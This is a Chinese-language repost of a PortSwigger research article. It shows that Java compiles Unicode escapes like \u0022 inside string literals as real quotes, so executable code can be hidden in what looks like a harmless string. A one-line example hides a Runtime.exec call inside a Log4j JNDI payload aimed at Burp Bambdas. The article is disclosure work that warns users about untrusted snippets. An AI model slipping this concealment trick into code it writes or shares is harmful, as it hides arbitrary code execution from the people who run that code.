Java Unicode转义字符隐藏Payload技术解析

本文揭示了Java编译器处理Unicode转义字符的意外行为,攻击者可利用\u0022等转义字符在字符串中隐藏可执行代码,实现Payload的隐蔽传递,对Bambda等功能的用户构成安全威胁。

在Java源代码字符串中隐藏Payload | PortSwigger研究

Gareth Heyes 研究员 @garethheyes

发布时间:2024年1月23日 15:00 UTC 更新时间:2024年1月24日 12:27 UTC

在这篇文章中,我们将展示Java如何处理源代码字符串中的Unicode转义字符,这种方式可能会让你感到惊讶——以及如何滥用它们来隐藏Payload。

我们最近发布了一个名为Bambdas的强大新功能。它们允许你使用Java代码过滤Burp中的项目。但这让我们思考,如果能说服用户运行一个看起来像无害漏洞Payload但实际上在本地机器上执行任意代码的Bambda,会发生什么?

当你在一个Bambda中使用以下代码时,你期望会发生什么:

1
var log4jpayload = "%24%7Bjndi:ldap://psres.net/\u0022;Runtime.getRuntime().exec(\u0022open -a calculator\u0022);//%7D";

如果你期望这只是一个简单的字符串赋值,那你就错了。实际发生的情况是,Java编译器将Unicode编码的双引号(\u0022)视为双引号并关闭字符串。然后Runtime.getRuntime()与通过编码字符串传递的命令一起被执行。Java几乎允许你用Unicode转义字符编码整个语法!

我们未能在任何公开文档中找到这种技术的记录,但如果你喜欢这个发现,你可以在这篇论文中找到一系列相关攻击。

请记住,Bambda允许任意代码执行,因此当使用来自不受信任源的Bambda时,请确保在使用前进行验证!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计